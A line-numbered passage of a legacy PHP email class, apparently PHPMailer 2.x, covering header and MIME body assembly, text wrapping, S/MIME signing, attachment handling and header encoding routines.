2161 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2162 }
2163 }
2164 $addr_str .= $this->LE;
2165
2166 return $addr_str;
2167 }
2168
2169 /**
2170 * Formats an address correctly.
2171 * @access private
2172 * @return string
2173 */
2174 function AddrFormat($addr) {
2175 if(empty($addr[1])) {
2176 $formatted = $this->SecureHeader($addr[0]);
2177 } else {
2178 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2179 }
2180
2181 return $formatted;
2182 }
2183
2184 /**
2185 * Wraps message for use with mailers that do not
2186 * automatically perform wrapping and for quoted-printable.
2187 * Original written by philippe.
2188 * @access private
2189 * @return string
2190 */
2191 function WrapText($message, $length, $qp_mode = false) {
2192 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2193 // If utf-8 encoding is used, we will need to make sure we don't
2194 // split multibyte characters when we wrap
2195 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2196
2197 $message = $this->FixEOL($message);
2198 if (substr($message, -1) == $this->LE) {
2199 $message = substr($message, 0, -1);
2200 }
2201
2202 $line = explode($this->LE, $message);
2203 $message = '';
2204 for ($i=0 ;$i < count($line); $i++) {
2205 $line_part = explode(' ', $line[$i]);
2206 $buf = '';
2207 for ($e = 0; $e<count($line_part); $e++) {
2208 $word = $line_part[$e];
2209 if ($qp_mode and (strlen($word) > $length)) {
2210 $space_left = $length - strlen($buf) - 1;
2211 if ($e != 0) {
2212 if ($space_left > 20) {
2213 $len = $space_left;
2214 if ($is_utf8) {
2215 $len = $this->UTF8CharBoundary($word, $len);
2216 } elseif (substr($word, $len - 1, 1) == "=") {
2217 $len--;
2218 } elseif (substr($word, $len - 2, 1) == "=") {
2219 $len -= 2;
2220 }
2221 $part = substr($word, 0, $len);
2222 $word = substr($word, $len);
2223 $buf .= ' ' . $part;
2224 $message .= $buf . sprintf("=%s", $this->LE);
2225 } else {
2226 $message .= $buf . $soft_break;
2227 }
2228 $buf = '';
2229 }
2230 while (strlen($word) > 0) {
2231 $len = $length;
2232 if ($is_utf8) {
2233 $len = $this->UTF8CharBoundary($word, $len);
2234 } elseif (substr($word, $len - 1, 1) == "=") {
2235 $len--;
2236 } elseif (substr($word, $len - 2, 1) == "=") {
2237 $len -= 2;
2238 }
2239 $part = substr($word, 0, $len);
2240 $word = substr($word, $len);
2241
2242 if (strlen($word) > 0) {
2243 $message .= $part . sprintf("=%s", $this->LE);
2244 } else {
2245 $buf = $part;
2246 }
2247 }
2248 } else {
2249 $buf_o = $buf;
2250 $buf .= ($e == 0) ? $word : (' ' . $word);
2251
2252 if (strlen($buf) > $length and $buf_o != '') {
2253 $message .= $buf_o . $soft_break;
2254 $buf = $word;
2255 }
2256 }
2257 }
2258 $message .= $buf . $this->LE;
2259 }
2260
2261 return $message;
2262 }
2263
2264 /**
2265 * Finds last character boundary prior to maxLength in a utf-8
2266 * quoted (printable) encoded string.
2267 * Original written by Colin Brown.
2268 * @access private
2269 * @param string $encodedText utf-8 QP text
2270 * @param int $maxLength find last character boundary prior to this length
2271 * @return int
2272 */
2273 function UTF8CharBoundary($encodedText, $maxLength) {
2274 $foundSplitPos = false;
2275 $lookBack = 3;
2276 while (!$foundSplitPos) {
2277 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2278 $encodedCharPos = strpos($lastChunk, "=");
2279 if ($encodedCharPos !== false) {
2280 // Found start of encoded character byte within $lookBack block.
2281 // Check the encoded byte value (the 2 chars after the '=')
2282 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2283 $dec = hexdec($hex);
2284 if ($dec < 128) { // Single byte character.
2285 // If the encoded char was found at pos 0, it will fit
2286 // otherwise reduce maxLength to start of the encoded char
2287 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2288 $maxLength - ($lookBack - $encodedCharPos);
2289 $foundSplitPos = true;
2290 } elseif ($dec >= 192) { // First byte of a multi byte character
2291 // Reduce maxLength to split at start of character
2292 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2293 $foundSplitPos = true;
2294 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2295 $lookBack += 3;
2296 }
2297 } else {
2298 // No encoded character found
2299 $foundSplitPos = true;
2300 }
2301 }
2302 return $maxLength;
2303 }
2304
2305 /**
2306 * Set the body wrapping.
2307 * @access private
2308 * @return void
2309 */
2310 function SetWordWrap() {
2311 if($this->WordWrap < 1) {
2312 return;
2313 }
2314
2315 switch($this->message_type) {
2316 case 'alt':
2317 /* fall through */
2318 case 'alt_attachments':
2319 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2320 break;
2321 default:
2322 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2323 break;
2324 }
2325 }
2326
2327 /**
2328 * Assembles message header.
2329 * @access private
2330 * @return string
2331 */
2332 function CreateHeader() {
2333 $result = '';
2334
2335 /* Set the boundaries */
2336 $uniq_id = md5(uniqid(time()));
2337 $this->boundary[1] = 'b1_' . $uniq_id;
2338 $this->boundary[2] = 'b2_' . $uniq_id;
2339
2340 $result .= $this->HeaderLine('Date', $this->RFCDate());
2341 if($this->Sender == '') {
2342 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2343 } else {
2344 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2345 }
2346
2347 /* To be created automatically by mail() */
2348 if($this->Mailer != 'mail') {
2349 if(count($this->to) > 0) {
2350 $result .= $this->AddrAppend('To', $this->to);
2351 } elseif (count($this->cc) == 0) {
2352 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2353 }
2354 if(count($this->cc) > 0) {
2355 $result .= $this->AddrAppend('Cc', $this->cc);
2356 }
2357 }
2358
2359 $from = array();
2360 $from[0][0] = trim($this->From);
2361 $from[0][1] = $this->FromName;
2362 $result .= $this->AddrAppend('From', $from);
2363
2364 /* sendmail and mail() extract Cc from the header before sending */
2365 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2366 $result .= $this->AddrAppend('Cc', $this->cc);
2367 }
2368
2369 /* sendmail and mail() extract Bcc from the header before sending */
2370 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2371 $result .= $this->AddrAppend('Bcc', $this->bcc);
2372 }
2373 if($replyto != "")
2374 {
2375 if(count($this->ReplyTo) > 0) {
2376 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2377 }
2378 }
2379 /* mail() sets the subject itself */
2380 if($this->Mailer != 'mail') {
2381 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2382 }
2383
2384 if($this->MessageID != '') {
2385 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2386 } else {
2387 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2388 }
2389 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2390 if($this->ConfirmReadingTo != '') {
2391 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2392 }
2393
2394 // Add custom headers
2395 for($index = 0; $index < count($this->CustomHeader); $index++) {
2396 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2397 }
2398 if (!$this->sign_key_file) {
2399 $result .= $this->HeaderLine('MIME-Version', '1.0');
2400 $result .= $this->GetMailMIME();
2401 }
2402
2403 return $result;
2404 }
2405
2406 /**
2407 * Returns the message MIME.
2408 * @access private
2409 * @return string
2410 */
2411 function GetMailMIME() {
2412 $result = '';
2413 switch($this->message_type) {
2414 case 'plain':
2415 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2416 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2417 break;
2418 case 'attachments':
2419 /* fall through */
2420 case 'alt_attachments':
2421 if($this->InlineImageExists()){
2422 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2423 } else {
2424 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2425 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2426 }
2427 break;
2428 case 'alt':
2429 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2430 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2431 break;
2432 }
2433
2434 if($this->Mailer != 'mail') {
2435 $result .= $this->LE.$this->LE;
2436 }
2437
2438 return $result;
2439 }
2440
2441 /**
2442 * Assembles the message body. Returns an empty string on failure.
2443 * @access private
2444 * @return string
2445 */
2446 function CreateBody() {
2447 $result = '';
2448 if ($this->sign_key_file) {
2449 $result .= $this->GetMailMIME();
2450 }
2451
2452 $this->SetWordWrap();
2453
2454 switch($this->message_type) {
2455 case 'alt':
2456 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2457 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2458 $result .= $this->LE.$this->LE;
2459 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2460 $result .= $this->EncodeString($this->Body, $this->Encoding);
2461 $result .= $this->LE.$this->LE;
2462 $result .= $this->EndBoundary($this->boundary[1]);
2463 break;
2464 case 'plain':
2465 $result .= $this->EncodeString($this->Body, $this->Encoding);
2466 break;
2467 case 'attachments':
2468 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2469 $result .= $this->EncodeString($this->Body, $this->Encoding);
2470 $result .= $this->LE;
2471 $result .= $this->AttachAll();
2472 break;
2473 case 'alt_attachments':
2474 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2475 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2476 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2477 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2478 $result .= $this->LE.$this->LE;
2479 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2480 $result .= $this->EncodeString($this->Body, $this->Encoding);
2481 $result .= $this->LE.$this->LE;
2482 $result .= $this->EndBoundary($this->boundary[2]);
2483 $result .= $this->AttachAll();
2484 break;
2485 }
2486
2487 if($this->IsError()) {
2488 $result = '';
2489 } else if ($this->sign_key_file) {
2490 $file = tempnam("", "mail");
2491 $fp = fopen($file, "w");
2492 fwrite($fp, $result);
2493 fclose($fp);
2494 $signed = tempnam("", "signed");
2495
2496 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2497 $fp = fopen($signed, "r");
2498 $result = fread($fp, filesize($this->sign_key_file));
2499 fclose($fp);
2500 } else {
2501 $this->SetError($this->Lang("signing").openssl_error_string());
2502 $result = '';
2503 }
2504
2505 unlink($file);
2506 unlink($signed);
2507 }
2508
2509 return $result;
2510 }
2511
2512 /**
2513 * Returns the start of a message boundary.
2514 * @access private
2515 */
2516 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2517 $result = '';
2518 if($charSet == '') {
2519 $charSet = $this->CharSet;
2520 }
2521 if($contentType == '') {
2522 $contentType = $this->ContentType;
2523 }
2524 if($encoding == '') {
2525 $encoding = $this->Encoding;
2526 }
2527 $result .= $this->TextLine('--' . $boundary);
2528 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2529 $result .= $this->LE;
2530 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2531 $result .= $this->LE;
2532
2533 return $result;
2534 }
2535
2536 /**
2537 * Returns the end of a message boundary.
2538 * @access private
2539 */
2540 function EndBoundary($boundary) {
2541 return $this->LE . '--' . $boundary . '--' . $this->LE;
2542 }
2543
2544 /**
2545 * Sets the message type.
2546 * @access private
2547 * @return void
2548 */
2549 function SetMessageType() {
2550 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2551 $this->message_type = 'plain';
2552 } else {
2553 if(count($this->attachment) > 0) {
2554 $this->message_type = 'attachments';
2555 }
2556 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2557 $this->message_type = 'alt';
2558 }
2559 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2560 $this->message_type = 'alt_attachments';
2561 }
2562 }
2563 }
2564
2565 /* Returns a formatted header line.
2566 * @access private
2567 * @return string
2568 */
2569 function HeaderLine($name, $value) {
2570 return $name . ': ' . $value . $this->LE;
2571 }
2572
2573 /**
2574 * Returns a formatted mail line.
2575 * @access private
2576 * @return string
2577 */
2578 function TextLine($value) {
2579 return $value . $this->LE;
2580 }
2581
2582 /////////////////////////////////////////////////
2583 // CLASS METHODS, ATTACHMENTS
2584 /////////////////////////////////////////////////
2585
2586 /**
2587 * Adds an attachment from a path on the filesystem.
2588 * Returns false if the file could not be found
2589 * or accessed.
2590 * @param string $path Path to the attachment.
2591 * @param string $name Overrides the attachment name.
2592 * @param string $encoding File encoding (see $Encoding).
2593 * @param string $type File extension (MIME) type.
2594 * @return bool
2595 */
2596 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2597 if(!@is_file($path)) {
2598 $this->SetError($this->Lang('file_access') . $path);
2599 return false;
2600 }
2601
2602 $filename = basename($path);
2603 if($name == '') {
2604 $name = $filename;
2605 }
2606
2607 $cur = count($this->attachment);
2608 $this->attachment[$cur][0] = $path;
2609 $this->attachment[$cur][1] = $filename;
2610 $this->attachment[$cur][2] = $name;
2611 $this->attachment[$cur][3] = $encoding;
2612 $this->attachment[$cur][4] = $type;
2613 $this->attachment[$cur][5] = false; // isStringAttachment
2614 $this->attachment[$cur][6] = 'attachment';
2615 $this->attachment[$cur][7] = 0;
2616
2617 return true;
2618 }
2619
2620 /**
2621 * Attaches all fs, string, and binary attachments to the message.
2622 * Returns an empty string on failure.
2623 * @access private
2624 * @return string
2625 */
2626 function AttachAll() {
2627 /* Return text of body */
2628 $mime = array();
2629
2630 /* Add all attachments */
2631 for($i = 0; $i < count($this->attachment); $i++) {
2632 /* Check for string attachment */
2633 $bString = $this->attachment[$i][5];
2634 if ($bString) {
2635 $string = $this->attachment[$i][0];
2636 } else {
2637 $path = $this->attachment[$i][0];
2638 }
2639
2640 $filename = $this->attachment[$i][1];
2641 $name = $this->attachment[$i][2];
2642 $encoding = $this->attachment[$i][3];
2643 $type = $this->attachment[$i][4];
2644 $disposition = $this->attachment[$i][6];
2645 $cid = $this->attachment[$i][7];
2646
2647 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2648 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2649 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2650
2651 if($disposition == 'inline') {
2652 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2653 }
2654
2655 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2656
2657 /* Encode as string attachment */
2658 if($bString) {
2659 $mime[] = $this->EncodeString($string, $encoding);
2660 if($this->IsError()) {
2661 return '';
2662 }
2663 $mime[] = $this->LE.$this->LE;
2664 } else {
2665 $mime[] = $this->EncodeFile($path, $encoding);
2666 if($this->IsError()) {
2667 return '';
2668 }
2669 $mime[] = $this->LE.$this->LE;
2670 }
2671 }
2672
2673 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2674
2675 return join('', $mime);
2676 }
2677
2678 /**
2679 * Encodes attachment in requested format. Returns an
2680 * empty string on failure.
2681 * @access private
2682 * @return string
2683 */
2684 function EncodeFile ($path, $encoding = 'base64') {
2685 if(!@$fd = fopen($path, 'rb')) {
2686 $this->SetError($this->Lang('file_open') . $path);
2687 return '';
2688 }
2689 $magic_quotes = get_magic_quotes_runtime();
2690 set_magic_quotes_runtime(0);
2691 $file_buffer = fread($fd, filesize($path));
2692 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2693 fclose($fd);
2694 set_magic_quotes_runtime($magic_quotes);
2695
2696 return $file_buffer;
2697 }
2698
2699 /**
2700 * Encodes string to requested format. Returns an
2701 * empty string on failure.
2702 * @access private
2703 * @return string
2704 */
2705 function EncodeString ($str, $encoding = 'base64') {
2706 $encoded = '';
2707 switch(strtolower($encoding)) {
2708 case 'base64':
2709 /* chunk_split is found in PHP >= 3.0.6 */
2710 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2711 break;
2712 case '7bit':
2713 case '8bit':
2714 $encoded = $this->FixEOL($str);
2715 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2716 $encoded .= $this->LE;
2717 break;
2718 case 'binary':
2719 $encoded = $str;
2720 break;
2721 case 'quoted-printable':
2722 $encoded = $this->EncodeQP($str);
2723 break;
2724 default:
2725 $this->SetError($this->Lang('encoding') . $encoding);
2726 break;
2727 }
2728 return $encoded;
2729 }
2730
2731 /**
2732 * Encode a header string to best of Q, B, quoted or none.
2733 * @access private
2734 * @return string
2735 */
2736 function EncodeHeader ($str, $position = 'text') {
2737 $x = 0;
2738
2739 switch (strtolower($position)) {
2740 case 'phrase':
2741 if (!preg_match('/[\200-\377]/', $str)) {
2742 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2743 $encoded = addcslashes($str, "\0..\37\177\\\"");
2744 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2745 return ($encoded);
2746 } else {
2747 return ("\"$encoded\"");
2748 }
2749 }
2750 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2751 break;
2752 case 'comment':
2753 $x = preg_match_all('/[()"]/', $str, $matches);
2754 /* Fall-through */
2755 case 'text':
2756 default:
2757 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2758 break;
2759 }
2760
2761 if ($x == 0) {
2762 return ($str);
2763 }
2764
2765 $maxlen = 75 - 7 - strlen($this->CharSet);
2766 /* Try to select the encoding which should produce the shortest output */
2767 if (strlen($str)/3 < $x) {
2768 $encoding = 'B';
2769 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2770 // Use a custom function which correctly encodes and wraps long
2771 // multibyte strings without breaking lines within a character
2772 $encoded = $this->Base64EncodeWrapMB($str);
2773 } else {
2774 $encoded = base64_encode($str);
2775 $maxlen -= $maxlen % 4;
2776 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2777 }
2778 } else {
2779 $encoding = 'Q';
2780 $encoded = $this->EncodeQ($str, $position);
2781 $encoded = $this->WrapText($encoded, $maxlen, true);
2782 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2783 }
2784
2785 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2786 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2787
2788 return $encoded;
2789 }
2790
2791 /**
2792 * Checks if a string contains multibyte characters.
2793 * @access private
2794 * @param string $str multi-byte text to wrap encode
2795 * @return bool
2796 */
2797 function HasMultiBytes($str) {
2798 if (function_exists('mb_strlen')) {
2799 return (strlen($str) > mb_strlen($str, $this->CharSet));
2800 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2801 return False;
2802 }
2803 }
2804
2805 /**
2806 * Correctly encodes and wraps long multibyte strings for mail headers
2807 * without breaking lines within a character.
2808 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2809 * @access private
2810 * @param string $str multi-byte text to wrap encode
2811 * @return string
2812 */
2813 function Base64EncodeWrapMB($str) {
2814 $start = "=?".$this->CharSet."?B?";
2815 $end = "?=";
2816 $encoded = "";
2817
2818 $mb_length = mb_strlen($str, $this->CharSet);
2819 // Each line must have length <= 75, including $start and $end
2820 $length = 75 - strlen($start) - strlen($end);
2821 // Average multi-byte ratio
2822 $ratio = $mb_length / strlen($str);
2823 // Base64 has a 4:3 ratio
2824 $offset = $avgLength = floor($length * $ratio * .75);
2825
2826 for ($i = 0; $i < $mb_length; $i += $offset) {
2827 $lookBack = 0;
2828
2829 do {
2830 $offset = $avgLength - $lookBack;
2831 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2832 $chunk = base64_encode($chunk);
2833 $lookBack++;
2834 }
2835 while (strlen($chunk) > $length);
2836
2837 $encoded .= $chunk . $this->LE;
2838 }
2839
2840 // Chomp the last linefeed
2841 $encoded = substr($encoded, 0, -strlen($this->LE));
2842 return $encoded;
2843 }
2844
2845 /**
2846 * Encode string to quoted-printable.
2847 * @access private
2848 * @return string
2849 */
2850 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2851 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2852 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2853 $eol = "\r\n";
2854 $escape = '=';
2855 $output = '';
2856 while( list(, $line) = each($lines) ) {
2857 $linlen = strlen($line);
2858 $newline = '';
2859 for($i = 0; $i < $linlen; $i++) {
2860 $c = substr( $line, $i, 1 );
2861 $dec = ord( $c );
2862 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2863 $c = '=2E';
2864 }
2865 if ( $dec == 32 ) {
2866 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2867 $c = '=20';
2868 } else if ( $space_conv ) {
2869 $c = '=20';
2870 }
2871 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2872 $h2 = floor($dec/16);
2873 $h1 = floor($dec%16);
2874 $c = $escape.$hex[$h2].$hex[$h1];
2875 }
2876 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2877 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2878 $newline = '';
2879 // check if newline first character will be point or not
2880 if ( $dec == 46 ) {
2881 $c = '=2E';
2882 }
2883 }
2884 $newline .= $c;
2885 } // end of for
2886 $output .= $newline.$eol;
2887 } // end of while
2888 return trim($output);
2889 }
2890
2891 /**
2892 * Encode string to q encoding.
2893 * @access private
2894 * @return string
2895 */
2896 function EncodeQ ($str, $position = 'text') {
2897 /* There should not be any EOL in the string */
2898 $encoded = preg_replace("[\r\n]", '', $str);
2899
2900 switch (strtolower($position)) {
2901 case 'phrase':
2902 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2903 break;
2904 case 'comment':
2905 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2906 case 'text':
2907 default:
2908 /* Replace every high ascii, control =, ? and _ characters */
2909 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2910 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2911 break;
2912 }
2913
2914 /* Replace every spaces to _ (more readable than =20) */
2915 $encoded = str_replace(' ', '_', $encoded);
2916
2917 return $encoded;
2918 }
2919
2920 /**
2921 * Adds a string or binary attachment (non-filesystem) to the list.
2922 * This method can be used to attach ascii or binary data,
2923 * such as a BLOB record from a database.
2924 * @param string $string String attachment data.
2925 * @param string $filename Name of the attachment.
2926 * @param string $encoding File encoding (see $Encoding).
2927 * @param string $type File extension (MIME) type.
2928 * @return void
2929 */
2930 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2931 /* Append to $attachment array */
2932 $cur = count($this->attachment);
2933 $this->attachment[$cur][0] = $string;
2934 $this->attachment[$cur][1] = $filename;
2935 $this->attachment[$cur][2] = $filename;
2936 $this->attachment[$cur][3] = $encoding;
2937 $this->attachment[$cur][4] = $type;
2938 $this->attachment[$cur][5] = true; // isString
2939 $this->attachment[$cur][6] = 'attachment';
2940 $this->attachment[$cur][7] = 0;
2941 }
2942
2943 /**
2944 * Adds an embedded attachment. This can include images, sounds, and
2945 * just about any other document. Make sure to set the $type to an
2946 * image type. For JPEG images use "image/jpeg" and for GIF images
2947 * use "image/gif".
2948 * @param string $path Path to the attachment.
2949 * @param string $cid Content ID of the attachment. Use this to identify
2950 * the Id for accessing the image in an HTML form.
2951 * @param string $name Overrides the attachment name.
2952 * @param string $encoding File encoding (see $Encoding).
2953 * @param string $type File extension (MIME) type.
2954 * @return bool
2955 */
2956 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2957
2958 if(!@is_file($path)) {
2959 $this->SetError($this->Lang('file_access') . $path);
2960 return false;
2961 }
2962
2963 $filename = basename($path);
2964 if($name == '') {
2965 $name = $filename;
2966 }
2967
2968 /* Append to $attachment array */
2969 $cur = count($this->attachment);
2970 $this->attachment[$cur][0] = $path;
2971 $this->attachment[$cur][1] = $filename;
2972 $this->attachment[$cur][2] = $name;
2973 $this->attachment[$cur][3] = $encoding;
2974 $this->attachment[$cur][4] = $type;
2975 $this->attachment[$cur][5] = false;
2976 $this->attachment[$cur][6] = 'inline';
2977 $this->attachment[$cur][7] = $cid;
2978
2979 return true;
2980 }
2981
2982 /**
2983 * Returns true if an inline attachment is present.
2984 * @access private
2985 * @return bool
2986 */
2987 function InlineImageExists() {
2988 $result = false;
2989 for($i = 0; $i < count($this->attachment); $i++) {
2990 if($this->attachment[$i][6] == 'inline') {
2991 $result = true;
2992 break;
2993 }
2994 }
2995
2996 return $result;
2997 }
2998
2999 /////////////////////////////////////////////////
3000 // CLASS METHODS, MESSAGE RESET
3001 /////////////////////////////////////////////////
3002
3003 /**
3004 * Clears all recipients assigned in the TO array. Returns void.
3005 * @return void
3006 */
3007 function ClearAddresses() {
3008 $this->to = array();
3009 }
3010
3011 /**
3012 * Clears all recipients assigned in the CC array. Returns void.
3013 * @return void
3014 */
3015 function ClearCCs() {
3016 $this->cc = array();
3017 }
3018
3019 /**
3020 * Clears all recipients assigned in the BCC array. Returns void.
3021 * @return void
3022 */
3023 function ClearBCCs() {
3024 $this->bcc = array();
3025 }
3026
3027 /**
3028 * Clears all recipients assigned in the ReplyTo array. Returns void.
3029 * @return void
3030 */
3031 function ClearReplyTos() {
3032 $this->ReplyTo = array();
3033 }
3034
3035 /**
3036 * Clears all recipients assigned in the TO, CC and BCC
3037 * array. Returns void.
3038 * @return void
3039 */
3040 function ClearAllRecipients() {
3041 $this->to = array();
3042 $this->cc = array();
3043 $this->bcc = array();
3044 }
3045
3046 /**
3047 * Clears all previously set filesystem, string, and binary
3048 * attachments. Returns void.
3049 * @return void
3050 */
3051 function ClearAttachments() {
3052 $this->attachment = array();
3053 }
3054
3055 /**
3056 * Clears all custom headers. Returns void.
3057 * @return void
3058 */
3059 function ClearCustomHeaders() {
3060 $this->CustomHeader = array();
3061 }
3062
3063 /////////////////////////////////////////////////
3064 // CLASS METHODS, MISCELLANEOUS
3065 /////////////////////////////////////////////////
3066
3067 /**
3068 * Adds the error message to the error container.
3069 * Returns void.
3070 * @access private
3071 * @return void
3072 */
3073 function SetError($msg) {
3074 $this->error_count++;
3075 $this->ErrorInfo = $msg;
3076 }
3077
3078 /**
3079 * Returns the proper RFC 822 formatted date.
3080 * @access private
3081 * @return string
3082 */
3083 function RFCDate() {
3084 $tz = date('Z');
3085 $tzs = ($tz < 0) ? '-' : '+';
3086 $tz = abs($tz);
3087 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3088 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3089
3090 return $result;
3091 }
3092
3093 /**
3094 * Returns the appropriate server variable. Should work with both
3095 * PHP 4.1.0+ as well as older versions. Returns an empty string
3096 * if nothing is found.
3097 * @access private
3098 * @return mixed
3099 */
3100 function ServerVar($varName) {
3101 global $HTTP_SERVER_VARS;
3102 global $HTTP_ENV_VARS;
3103
3104 if(!isset($_SERVER)) {
3105 $_SERVER = $HTTP_SERVER_VARS;
3106 if(!isset($_SERVER['REMOTE_ADDR'])) {
3107 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3108 }
3109 }
3110
3111 if(isset($_SERVER[$varName])) {
3112 return $_SERVER[$varName];
3113 } else {
3114 return '';
3115 }
3116 }
3117
3118 /**
3119 * Returns the server hostname or 'localhost.localdomain' if unknown.
3120 * @access private
3121 * @return string
3122 */
3123 function ServerHostname() {
3124 if ($this->Hostname != '') {
3125 $result = $this->Hostname;
3126 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3127 $result = $this->ServerVar('SERVER_NAME');
3128 } else {
3129 $result = 'localhost.localdomain';
3130 }
3131
3132 return $result;
3133 }
3134
3135 /**
3136 * Returns a message in the appropriate language.
3137 * @access private
3138 * @return string
3139 */
3140 function Lang($key) {
3141 if(count($this->language) < 1) {
3142 $this->SetLanguage('en'); // set the default language
3143 }
3144
3145 if(isset($this->language[$key])) {
3146 return $this->language[$key];
3147 } else {
3148 return 'Language string failed to load: ' . $key;
3149 }
3150 }
3151
3152 /**
3153 * Returns true if an error occurred.
3154 * @return bool
3155 */
3156 function IsError() {
3157 return ($this->error_count > 0);
3158 }
3159
3160 /**
3161 * Changes every end of line from CR or LF to CRLF.
3162 * @access private
3163 * @return string
3164 */
3165 function FixEOL($str) {
3166 $str = str_replace("\r\n", "\n", $str);
3167 $str = str_replace("\r", "\n", $str);
3168 $str = str_replace("\n", $this->LE, $str);
3169 return $str;
3170 }
3171
3172 /**
3173 * Adds a custom header.
3174 * @return void
3175 */
3176 function AddCustomHeader($custom_header) {
3177 $this->CustomHeader[] = explode(':', $custom_header, 2);
